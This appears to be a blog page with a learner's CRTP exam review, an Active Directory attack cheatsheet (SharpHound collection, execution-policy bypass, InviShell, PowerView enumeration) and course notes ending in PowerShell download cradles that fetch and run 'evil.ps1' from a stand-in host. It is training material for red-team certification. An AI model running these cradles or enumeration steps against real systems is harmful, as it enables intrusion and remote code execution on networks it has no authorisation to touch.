Active Directory on

Certified Red Team Professional (CRTP) - Review

Tue, 09 Jun 2026 17:40:00 +0100

Certified Red Team Professional (CRTP) Review

I am proud to share that I have successfully passed the Certified Red Team Professional (CRTP) exam!

Context

I won the CRTP certificate voucher in the WorldWideCTF competition with my team TroJeun. I started the course with zero knowledge about Active Directory in March 2026. I tackled the material slowly, focusing on the videos, understanding the author’s workflows, and adopting the mindset of attacking AD.

Certified Red Team Professional (CRTP) - Practical Exam Cheatsheet

Tue, 09 Jun 2026 17:36:00 +0100

Source: cleaned from sheet.md only. Commands were deduplicated where repeated verbatim. No techniques were added beyond the original notes.

BloodHound Collection

./SharpHound.exe --collectionmethods All --excludedcs

./sharp.xe --collectionmethods Group,GPOLocalGroup,Session,Trusts,ACL,Container,ObjectProps,SPNTargets,CertServices --excludedcs

C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SharpHound\SharpHound.exe -
args --collectionmethods
Group,GPOLocalGroup,Session,Trusts,ACL,Container,ObjectProps,SPNTarg
ets,CertServices --excludedcs

Execution / Session Prep

PowerShell Bypass PowerShell execution policy restrictions for the current shell.

powershell -ExecutionPolicy bypass

InviShell Launch InviShell without requiring admin.

C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat

Enumeration

PowerView List domain user samaccountname values.

Get-DomainUser | select -ExpandProperty samaccountname

PowerView List domain computers by DNS hostname.

Certified Red Team Professional (CRTP) - Course Summary Notes

Tue, 09 Jun 2026 17:35:00 +0100

1. PowerShell Basics

Importing Modules

Load a PowerShell script using dot sourcing:

. C:\AD\Tools\PowerView.ps1

A module (or a script) can be imported with:

Import-Module C:\AD\Tools\ADModulemaster\ActiveDirectory\ActiveDirectory.psd1

All the commands in a module can be listed with:

Get-Command -Module <modulename>

PowerShell Script Execution - Download Cradles

iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')

$ie=New-Object -ComObject
InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.230.1/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

# PSv3 onwards
iex (iwr 'http://192.168.230.1/evil.ps1')

$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','http://192.168.230.1/evil.ps1',$false);$h.send();iex
$h.responseText

$wr = [System.NET.WebRequest]::Create("http://192.168.230.1/evil.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()